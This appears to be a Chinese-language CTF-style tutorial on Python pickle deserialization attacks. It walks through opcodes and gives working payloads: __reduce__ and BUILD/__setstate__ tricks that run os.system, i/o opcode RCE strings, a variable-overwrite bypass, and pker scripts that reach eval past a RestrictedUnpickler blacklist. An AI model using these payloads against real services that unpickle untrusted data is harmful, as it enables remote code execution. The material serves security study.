官方文檔html
模塊 pickle 實現了對一個 Python 對象結構的二進制序列化和反序列化。 "pickling" 是將 Python 對象及其所擁有的層次結構轉化爲一個字節流的過程,而 "unpickling" 是相反的操做,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。 pickling(和 unpickling)也被稱爲「序列化」, 「編組」 或者 「平面化」。而爲了不混亂,此處採用術語 「封存 (pickling)」 和 「解封 (unpickling)」。python
pickle.dumps(object)
:用於序列化一個對象ios
pickle.loads(picklestring)
:用於反序列化數據,實現一個對象的構建git
測試代碼:github
#python3.7 import pickle class test_1(): def __init__(self): self.name = 'LH' self.age = 20 class test_2(): name = 'LH' age = 20 test1 = test_1() a_1 = pickle.dumps(test1) test2 = test_2() a_2 = pickle.dumps(test2) print("test_1序列化結果:") print(a_1) print("test_2序列化結果:") print(a_2) b_1 = pickle.loads(a_1) b_2 = pickle.loads(a_2) print("test_1反序列化結果:") print(b_1.name) print(b_1.age) print("test_2反序列化結果:") print(b_2.name) print(b_2.age)
運行結果:web
能夠看到序列化結果長短不一樣,這是由於待處理的類裏面有無__init__
形成的,test_2類沒有使用__init__
因此序列化結果並無涉及到name
和age
。可是反序列化以後仍然能夠獲得對應的屬性值。函數
另外:若是在反序列化生成一個對象之前刪除了這個對象對應的類,那麼咱們在反序列化的過程當中由於對象在當前的運行環境中沒有找到這個類就會報錯,從而反序列化失敗。工具
相似於PHP中的__wakeup__
魔法函數。若是當__reduce__
返回值爲一個元組(2到5個參數),第一個參數是可調用(callable)的對象,第二個是該對象所需的參數元組。在這種狀況下,反序列化時會自動執行__reduce__裏面的操做。測試
測試代碼:優化
#python3.7 import os import pickle class A(): def __reduce__(self): cmd = "whoami" return (os.system,(cmd,)) a=A() str=pickle.dumps(a) pickle.loads(str)
運行結果:
如今把關注點放在序列化數據,以及如何根據序列化數據實現反序列化。
pickle.dumps(object)
在生成序列化數據時能夠指定protocol參數,其取值包括:
更改代碼:
#python3.7 import os import pickle class A(): def __reduce__(self): cmd = "whoami" return (os.system,(cmd,)) a=A() str=pickle.dumps(a,protocol=0) print(str) print(str.decode()) #將byte類型轉化爲string類型
運行結果:
不瞭解pickle
的相關指令的話,以上序列化結果根本看不懂:
pickle
相關的指令碼與做用:
這裏注意到R
操做碼,執行了可調用對象,可知它其實就是__reduce__()
的底層實現。
其餘指令能夠在python的lib文件下的pickle.py查看:
對運行結果分解:
涉及到指令碼,能夠把pickle理解成一門棧語言:
.
中止。最終留在棧頂的值將被做爲反序列化對象返回結合上面的指令碼與做用,能夠分析出具體的過程。
首先是:
cnt system
也即引入nt.system
,這裏的nt
是模塊os
的名稱name
,os.name
在不一樣環境對應的值不一樣:
Windows下爲nt
:
Linux下爲posix
:
posix
是 Portable Operating System Interface of UNIX
(可移植操做系統接口)的縮寫。Linux 和 Mac OS 均會返回該值。
而後再執行p0
,將棧頂內容寫入到列表中,因爲是列表第一個數據所以索引爲0:
接下去執行(Vwhoami
,(
是將一個標誌位MASK壓入棧中,Vwhoami
就是將字符串「whoami」壓入棧中:
接下去執行p1
,將棧頂數據"whoami"寫入列表,索引爲1:
再執行tp2
,首先棧彈出從棧頂到MASK標誌位的數據,將其轉化爲元組類型,而後再壓入棧。最後p2
將棧頂數據(也即元組)寫入列表,索引爲2:
再執行Rp3
,先將以前壓入棧中的元組和可調用對象所有彈出而後執行,這裏也即執行nt.system("whoami")
,接着將結果壓入棧。最後p3
將棧頂數據(也即執行結果)寫入列表,索引爲3:
總的過程以下:
因爲memo列表只是起到一個存儲數據的做用,若是目的只是想要執行nt.system("whoami")
,能夠將原序列化數據中有關寫入列表的操做給去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
可簡化爲b'cnt\nsystem\n(Vwhoami\ntR.'
,仍然是能夠達到執行目的的:
官方說明:
此模塊包含與 pickle 模塊內部細節有關的多個常量,一些關於具體實現的詳細註釋,以及一些可以分析封存數據的有用函數。 此模塊的內容對須要操做 pickle 的 Python 核心開發者來講頗有用處;pickle 的通常用戶則可能會感受 pickletools 模塊與他們無關。
相關接口:
pickletools.dis(picklestring)
:
能夠更方便的看到每一步的操做原理。如上面的例子執行該方法:
pickletools.optimize(picklestring)
:測試代碼:
#python3.7 import pickle import pickle import pickletools class person(): def __init__(self, name, age): self.name = name self.age = age me = person('LH', 20) str = pickle.dumps(me) print(str) pickletools.dis(str)
運行結果:
b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ person' 19: q BINPUT 0 21: ) EMPTY_TUPLE 22: \x81 NEWOBJ 23: q BINPUT 1 25: } EMPTY_DICT 26: q BINPUT 2 28: ( MARK 29: X BINUNICODE 'name' 38: q BINPUT 3 40: X BINUNICODE 'LH' 47: q BINPUT 4 49: X BINUNICODE 'age' 57: q BINPUT 5 59: K BININT1 20 61: u SETITEMS (MARK at 28) 62: b BUILD 63: . STOP highest protocol among opcodes = 2
對str
使用pickle.optimize
進行簡化:
>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.' >>>pickletools.optimize(str) >>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'
修改剛纔源碼:
#python3.7 import base64 import pickle import otherpeople class person(): def __init__(self, name, age): self.name = name self.age = age me=pickle.loads(base64.b64decode(input())) if otherpeople.name==me.name and otherpeople.age==me.age: print("flag") else: print("hack")
同目錄下新建otherpeople文件夾,寫入__init.py__用於新建一個模板:
name = 'Dr.liu' age = 21
要求咱們輸入待反序列化的數據,使得反序列化以後爲person
類的一個對象me
,若是me.name
與me.age
分別等於otherpeople
模板的name
和age
,才能獲得flag。若是把剛纔的序列化數據中的LH
和20
改爲模板中的Dr.liu
和21
則能實現:
第二個hex碼對應是字符串的長度,十六進制的14對應爲十進制20
可是此時咱們並不知道otherpeople
模板的內容,因此並不能實現。
根據前面的例子可知,引用模塊在pickle
中對應的操做碼是c
,因此能夠根據其書寫規則獲得otherpeople.name
和otherpeople.age
對應的序列化數據是cotherpeople\nname\n
和cotherpeople\nage\n
,將原數據進行替換:
再對替換的結果進行base64編碼:
>>>import base64 >>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.') >>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'
驗證:
pickle
源碼中,c指令是基於find_class
這個方法實現的,然而find_class
能夠被出題人重寫。若是出題人只容許c指令包含__main__
這一個module、不容許導入其餘module,也即剛纔的cotherpeople
被限制了。此時又該如何繞過呢?
回到剛纔的測試代碼的運行結果,發現pickle
是構建person
的過程是徹底可視的,並且是在__main__
這個module進行構建的:
那麼就能夠根據pickle語法,插入一段數據,這段數據用於在__main__
中構建一個otherpeople
對象,此時otherpeople.name
和otherpeople.age
也是可控的,這樣咱們就能夠覆蓋掉本來未知的Dr.liu
和21
,只需確保和person.name
和person.age
相等便可。
先放出示意圖:
解釋一下惡意插入的序列化數據:
b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'
一、首先類比構建person
對象時的語法:c__main__\notherpeople\n}
二、接下去(
操做碼錶示將壓入一個元組到棧中,V
操做碼錶示跟在它後面的數據是一個字符串,K
操做碼錶示跟在它後面的數據是一個整型數字,Vname\nVsunxiaokong\nVage\nK\x16
表示的元組爲:{'name':'sunxiaokong','age':22}
三、而後u
操做碼規定了即將構建的對象的界限,b
操做碼用於構造對象
四、0
操做碼將該對象(棧頂元素)從棧彈出
通過上面的操做此時otherpeople.name='sunxiaokong'
、otherpeople.age=22
,所以後半段person
中相應的屬性也應該改爲相同的值:
X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16
驗證:
>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.') b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'
以上思路也是「2020高校戰疫」webtmp的解題思路
若是限制__reduce()__
,須要另一個知識點:
關注操做碼b
:
跟進到load_build
函數:
def load_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) #獲取inst的__setstate__方法 if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build
把當前棧棧頂數據記爲state
,而後彈出,再把接下去的棧頂數據記爲inst
關注到第七行的setstate(state)
,這意味着能夠RCE,可是inst
原先是沒有__setstate__
這個方法的。能夠利用{‘__setstate__
’: os.system
}來BUILD這個對象,那麼如今inst
的__setstate__
方法就變成了os.system
;另外再確保state
也即一開始的棧頂元素爲calc.exe
,則會執行setstate(「calc.exe」)
,也即os.system("calc.exe")
。
上面的操做對應的payload以下:
b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
驗證代碼:
import os import pickle import pickletools class A(): #balabala····· str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.' pickle.loads(str)
除了操做碼b
能夠利用外,還有i
和o
操做碼能夠實現RCE:
b'(S\'whoami\'\nios\nsystem\n.' b'(cos\nsystem\nS\'whoami\'\no.'
payload的構造能夠參照對應的做用:
藉助該工具,能夠省去人工構造payload,根據本身的相關需求能夠自動生成相應的序列化數據。
pker主要用到GLOBAL、INST、OBJ三種特殊的函數以及一些必要的轉換方式:
c
,如GLOBAL('os', 'system')
i
,如INST('os','system','ls')
,輸入規則按照:module,callable,para
o
。 如OBJ(GLOBAL('os','system'),'ls')
,輸入規則按照:callable,para
R
s
b
0
使用例子:
一、用於執行os.system("whoami")
:
s='whoami' system = GLOBAL('os', 'system') system(s) # b'R'調用 return
二、全局變量覆蓋舉例:
secret=GLOBAL('__main__', 'secret') secret.name='1' secret.category='2'
以剛剛上面那道只容許引入__main__
模塊的變量覆蓋爲例,對應的pker代碼:
otherpeople = GLOBAL('__main__','otherpeople') otherpeople.name = 'sunxiaokong' otherpeople.age = 22 new = INST('__main__', 'person','sunxiaokong',20) return new
import pickle import base64 import builtins import io class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() restricted_loads(base64.b64decode(input()))
代碼的主要內容就是限制了反序列化的內容,規定了咱們只能引用builtins
這個模塊,並且禁止了裏面的一些函數。可是沒有禁止getattr
這個方法,所以咱們能夠構造builtins.getattr(builtins,’eval’)
的方法來構造eval
函數。pickle不能直接獲取builtins
一級模塊,但能夠經過builtins.globals()
得到builtins
;這樣就能夠執行任意代碼了。
用pker構造payload:
#先借助builtins.globals獲取builtins模塊 getattr=GLOBAL('builtins','getattr') dict=GLOBAL('builtins','dict') dict_get=getattr(dict,'get') glo_dic=GLOBAL('builtins','globals')() builtins=dict_get(glo_dic,'builtins') #再用builtins模塊獲取eval函數 eval=getattr(builtins,'eval') eval('ls') return